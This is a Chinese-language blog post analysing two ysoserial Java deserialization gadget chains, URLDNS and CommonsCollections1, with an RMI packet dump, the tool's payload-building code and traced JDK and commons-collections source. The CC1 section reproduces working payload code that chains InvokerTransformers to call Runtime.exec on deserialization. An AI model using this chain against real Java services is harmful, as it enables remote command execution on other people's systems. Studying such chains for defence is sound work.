0050   01 71 82 26 a0 4f 80 0e 73 7d 00 00 00 02 00 0f   .q.& O..s}......
0060   6a 61 76 61 2e 72 6d 69 2e 52 65 6d 6f 74 65 00   java.rmi.Remote.
0070   12 52 4d 49 46 75 6e 63 24 49 52 53 61 79 48 65   .RMIFunc$IRSayHe
0080   6c 6c 6f 70 78 72 00 17 6a 61 76 61 2e 6c 61 6e   llopxr..java.lan
0090   67 2e 72 65 66 6c 65 63 74 2e 50 72 6f 78 79 e1   g.reflect.Proxyá
00a0   27 da 20 cc 10 43 cb 02 00 01 4c 00 01 68 74 00   'Ú Ì.CË...L..ht.
00b0   25 4c 6a 61 76 61 2f 6c 61 6e 67 2f 72 65 66 6c   %Ljava/lang/refl
00c0   65 63 74 2f 49 6e 76 6f 63 61 74 69 6f 6e 48 61   ect/InvocationHa
00d0   6e 64 6c 65 72 3b 70 78 70 73 72 00 2d 6a 61 76   ndler;pxpsr.-jav
00e0   61 2e 72 6d 69 2e 73 65 72 76 65 72 2e 52 65 6d   a.rmi.server.Rem
00f0   6f 74 65 4f 62 6a 65 63 74 49 6e 76 6f 63 61 74   oteObjectInvocat
0100   69 6f 6e 48 61 6e 64 6c 65 72 00 00 00 00 00 00   ionHandler......
0110   00 02 02 00 00 70 78 72 00 1c 6a 61 76 61 2e 72   .....pxr..java.r
0120   6d 69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 65   mi.server.Remote
0130   4f 62 6a 65 63 74 d3 61 b4 91 0c 61 33 1e 03 00   ObjectÓa´..a3...
0140   00 70 78 70 77 32 00 0a 55 6e 69 63 61 73 74 52   .pxpw2..UnicastR
0150   65 66 00 09 31 32 37 2e 30 2e 31 2e 31 00 00 ad   ef..127.0.1.1...
0160   7f 5e 81 8c 7b cd 7e 9d 30 0d 36 2a 14 00 00 01   .^..{Í~.0.6*....
0170   71 82 26 a0 4f 80 01 01 78                        q.& O...x

返回的数据包中,携带了Java的很多信息,其中包含了返回的ip地址,以及端口号(返回数据之后的数据包紧接着就是127.0.0.1与127.0.1.1之间的通信),端口号位于:

前面的就是ip地址127.0.1.1了,也就是我们客户端的地址,实际上这段数据包从开头的\xac\xed就是Java序列化的数据了,其中ip地址也只是相应的对象而已。

根据数据包和代码,我们可以大致推测出整个RMI的通信过程:

首先客户端连接服务器创建的Registry,连接完成以后根据RMI当时定义好的Name去寻找,找到了对应的Name="say"对象之后,返回一个序列化该对象的数据包,根据序列化的内容,建立TCP连接之后发送到客户端127.0.1.1,然后客户端反序列化这个对象,还原对应的类,从而我们才能在代码中调用Say()方法,最后获得对应内容。图示为:


慢慢的Java序列化和反序列化的帷幕将会很快揭开

ysoserial-URLDNS

前段时间备案出了问题,所以博客一直没有更新,先发点存货...
既然提到Java反序列化,那么一个工具就不得不提了,正是这个工具打开了JAVA安全的大门,由于P神表示初学者学习的CommonsCollections 的利用链非常复杂,不适合新手学习,所以作为一个小白,我们从简单的入手,首先我们从gayhub上下载好,该工具,拖到idea里面下载好依赖后,查看今天我们要学习的一条利用链URLDNS

读读源码

首先来读读源码,同时我们注意到该链条,使用了java原生包,没有使用第三方依赖,这让问题变得简单起来。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

代码整体非常简单,总的来说就是使用了一个哈希表,以URL对象为键值,将url字符串数据放在对应的键值里,配合注释看非常清晰。但我们想知道的是,这个触发反序列化的原理是什么,而这个利用链的用途在于进行一次DNS请求,因此猜测答案应该藏在hashmap里,并且注释也写明了由于hashCode被计算和缓存,触发了DNS请求,因此我们需要分析一下hashmap。还记得前文说过Java反序列化与其他语言反序列化不同的地方在于开发者可以参与反序列化的过程,通过的方式就是两个方法writeObjectreadObject,前者决定如何序列化,后者决定如何反序列化,因此反序列化的触发取决于readObject,我们来看看这个方法是怎么写的:

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
                ->这里进行了计算
            }
        }
    }

前面的大段代码几乎都是校验序列化数据的,而这一句(41行)进行了hashCode的计算,

putVal(hash(key), key, value, false, false);

我们从刚刚分析源码时,我们知道这里的key是可控的URL,因此可以推测是hash()函数导致了这次DNS请求的发生,跟进hash()函数

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

发现这里会判断key是否是null,不为空则会调用该对象的hashCode()方法进行hash值的计算,该对象由源码得到是一个java.net.URL类型的对象,查看该对象的hashCode()方法:

transient URLStreamHandler handler;
//......
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

该方法会检查hashCode是否被标记为-1,如果是,则调用handler.hashCode(),并将目前的URL对象传给该函数,继续跟进得到(这里决定了hashCode是否会计算):

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

这里会通过传入的URL对象得到其对应的协议,地址等内容,我们知道一个DNS请求,实际上传递的是IP地址,因此跟进getHostAddress()方法:

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这个方法实际上是获得我们创建的URL对象的主机名,然后利用getByName()方法,得到其Ip地址。最后这个方法会调用getAllByName()这个方法,通过多态最终返回这个函数:

    private static InetAddress[] getAllByName(String host, InetAddress reqAddr)
        throws UnknownHostException {

        if (host == null || host.length() == 0) {
            InetAddress[] ret = new InetAddress[1];
            ret[0] = impl.loopbackAddress();
            return ret;
        }

这里最终就会进行一次请求了,从而导致了反序列化到DNS请求的结果(想跟还可以继续跟,但是真的没有必要了2333)。总结一下,我们可以看见一条清晰的利用链。

最后发现和PHP反序列非常相似,PHP反序列化需要找到一条POP链,这里也是类似,只是我们需要根据readObject方法进行相应的检索。

有关利用

利用这条链条的方法也非常简单,我们只需要创建一个URL对象,并将URL对象的hashCode设置为-1,然后将它作为key传给hashMap就能够使用这个链条了。

ysoserial-CommonsCollections1分析

本地分析的版本为: jdk1.7.0_80

在学习前面的一个链条以后,我们大致理解了Java反序列化的过程,这次我们来分析一条能够执行系统命令的一个链条,这个链条据说非常复杂,为了方便起见以下简称为CC1链,试着自己分析了一下确实相当复杂....

第三方包

首先自然是先阅读引入的包了,这个链条与URLDNS包不同,引入了第三方包,如下:

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
//java原生包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
//第三方包
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
//作者自己进行的封装包

首先我们需要知道这个Transformer包的具体作用是什么,我们可以将包下载到本地之后,阅读注释,简单了解一下作用,一会儿看看源码

Defines a functor interface implemented by classes that transform one
object into another.
A Transformer converts the input object to the output object.
The input object should be left unchanged.
Transformers are typically used for type conversions, or extracting data
from an object.

蹩脚翻译一下:

Transformer定义一个用于将一个对象转换成另一个对象的函数接口,这个函数会将某个输入对象转换为自定义的输出对象,Transformer主要用于类型转换和从一个对象中提取数据。

因此我们可以将这个函数当做一个对象的转换器,

ChainedTransformer 用于转换器的传递,输入对象将传递到第一个转换器。 转换后的结果传递到第二个转换器,依此类推

ConstantTransformer 用于将输入内容转换成一个常量

InvokerTransformer 用于将输入的内容通过反射调用,然后返回反射执行的结果,也可以理解成将输入转换为一个反射

LazyMap 用于装饰一个Map对象,根据需要在Map对象上创建相应对象,当使用Map对象中不存在的键调用该方法时,将使用工厂函数创建对象。 使用请求的键将创建的对象添加到Map对象中。

源码

作者很贴心的将利用链在注释中贴出:

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

    Requires:
        commons-collections
 */

尝试过正向分析,分析了一下觉得异常困难,因此索性倒着来,先看LazyMap.get()

protected final Transformer factory;   
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

这里的factory就是Transformer类,而这个方法作用在于拿到Mapkey对应的值,如果key不存在则使用factory.transform(key)创建好该key对应的值,回头看看我们是如何构造的:

public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[]{command};
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            new ConstantTransformer(1)};
        ....
    }

这里使用了上面提到的几个转换器,我们分别看看源码:

ChainedTransformer:

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这个转换器使用时会遍历iTransformers,并调用他们每个的transform也就是对应的转换器方法,

ConstantTransformer他是返回一个常数,

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
    public Object getConstant() {
        return iConstant;
    }

}

这里相当于直接返回了我们传入的类。

主要在于InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
            //重点地方就是我们使用反射的一般流程    
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
/*
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            ->得到Runtime这个类
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            -> 使用getMethod方法去找getRuntime方法
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            -> 通过反射执行getRuntime()
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            -> 从getRuntime返回的结果中找到exec方法,最后传入参数执行exec
            new ConstantTransformer(1)};
            .....
            Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
            ->最后使用反射将transformerChain中的iTransformers设置成为刚刚构造好的transformers
            然后当transformerChain.transform执行时就会遍历这个转换器数组,构造出反射执行命令了
*/

这里非常明显了,如果我们有输入,这个转换器会尝试将输入转化成一个反射并执行,最后返回反射的结果,我们注意到这个InvokerTransformer的三个参数iMethodName方法名,iParamTypes参数类型,iArgs参数均可控,因此这个类能够直接拿来执行命令,我们只需要连续使用这个转换器,就能够实现反射执行命令的操作了,问题在于如何触发。

我们知道Java反序列化的触发是利用某个类的readObject方法触发的,这里工具作者给我们展示了这个类为AnnotationInvocationHandler.readObject(),翻阅源码Gadgets.java中指明了,这个类为sun.reflect.annotation.AnnotationInvocationHandler:

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

实际上这个类是反序列化的起点,接下来我们来看看源码:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;
//构造方法↓
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
//invoke方法↓
    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
/*
 * 注意构造函数的this.memberValues = var2 由于Map<String, Object> var2,所以这个memberValues是可控的
 * 同时LazyMap实际上是经过修饰的Map,所以这里同样可以传入LazyMap类型的参数
 * 最后这里调用的get函数就能够通过上面之前的分析进行命令执行了
*/
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
        ......
        //readObject方法↓
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        //根据调用链,我们知道触发点应该在这里,那么问题来了这个entrySet方法和本类的invoke有啥关联呢?
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

从entrySet->invoke探究

通过查阅资料得到了,这里的是和Java的动态代理机制有关,而这个机制相关的类,是InvocationHandler,而AnnotationInvocationHandler继承自InvocationHandler类,我们先来了解一下这个类是干什么的,首先InvocationHandler是一个接口,他期待实现一个invoke方法:

/*
*Each proxy instance has an associated invocation handler.
 * When a method is invoked on a proxy instance, the method
 * invocation is encoded and dispatched to the 
 * method of its invocation handler.
 */
public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}
//proxy表示需要代理的对象,method表示调用代理对象的方法,args自然是调用对应方法的参数。

万能的谷歌翻译一下:

每个代理实例都有一个关联的调用处理程序。在代理实例上调用方法时,该方法调用被编码并调度到调用处理程序的方法。

也就是说每个代理的对象,在调用方法时,会被自动调度到这个类中执行。还记得Gadget链中的Map(Proxy).entrySet()吗?这里的Proxy实际上指的是动态代理机制的Proxy类,该类在java.lang.reflect中,一般常用该类的newPorxyInstance创建代理对象类。

public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

这里我们只看参数(才不是因为源码看不懂),第一个参数loader看名字就知道这是拿来加载类的,它定义由哪个Classloader去加载代理对象,第二个参数interfaces的数组,这里主要是提供哪些接口给代理对象用,第三个h定义了究竟关联到哪个InvocationHandler对象上。

这个时候我们联系CC1链的源码:

/*
CC1源码
*/
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
//这里主要使用了Gadgets链中的两个方法
/*
Gadgets链中相关源码
*/
    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
//iface是Map类也就是将Map类中对应的接口传了过去
    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        //map为传入的LazyMap
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        //创建对应的代理类,这里大致意思是将LazyMap这个类,与AnnotationInvocationHandler这个类进行关联
    }

    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
//这里开始创建代理对象了,第一个loader用的是默认的ClassLoader,第二个参数接口我们传入的Map.Class将Map的接口传了过去,最后的ih就是当我们调用Map中的方法时,会被调度到AnnotationInvocationHandler的invoke方法进行执行。

最后动态debug看看我们的分析正不正确:

因为最后都是使用createProxy这个函数,所以直接看它就行了,这样一来Map类中的方法,最后由于动态代理的机制就会执行到AnnotationInvocationHandler.invoke了。

梳理一下

最后我们配合生成payload源码梳理一下整个过程:

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[]{command};
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            new ConstantTransformer(1)};
        /*
         * 创建一个转换器数组,由于最后执行的chain转换器会将输入传给另一个转换器并返回结果,因此这里实际上是在
         * 构造反射执行的链条等价于java.lang.Runtime.getRuntime().exec(new String[]{执行命令})
        */
        final Map innerMap = new HashMap();
        //预备我们需要的Map对象
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //用LazyMap封装Map对象,并传递一个Transformer对象过去作为factory
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        /*
         * 将构造好的LazyMap对象传递给Gadgets.createMemoitizedProxy进行Proxy构造,这里
         * 将LazyMap作为了代理对象,将Map对象的接口作为了代理接口,最后在Gadgets中,将执行
         * 代理方法的工作关联给AnnotationInvocationHandler类,从而每次调用Map的方法时,都会
         * 调度到AnnotationInvocationHandler,利用该类的invoke进行方法的执行,而该类的invoke方法中
         * 使用.get方法,通过传入对象LazyMap.get方法会执行factory.transform(key),这里的factory被
         * 设置成为了ChainedTransformer,从而会执行ChainedTransformer.transform进行转换器的遍历。
        */
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
        /*
        * 最后由于ChainedTransformer.transform遍历执行的是iTransformers中的内容,因此我们将
        * iTransformers设置成构造好的转换器数组,从而实现了命令的执行。
        */
        return handler;
    }

这个链条整体分析下来其实不难,主要是entrySetinvoke需要理解一下Java动态代理的机制,不过这也证明Java确实是一门强大的静态编译语言,提供给开发者的机制非常多。
参考文章:
ysoserial URLDNS, CommonsCollections1-7 分析+复现

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论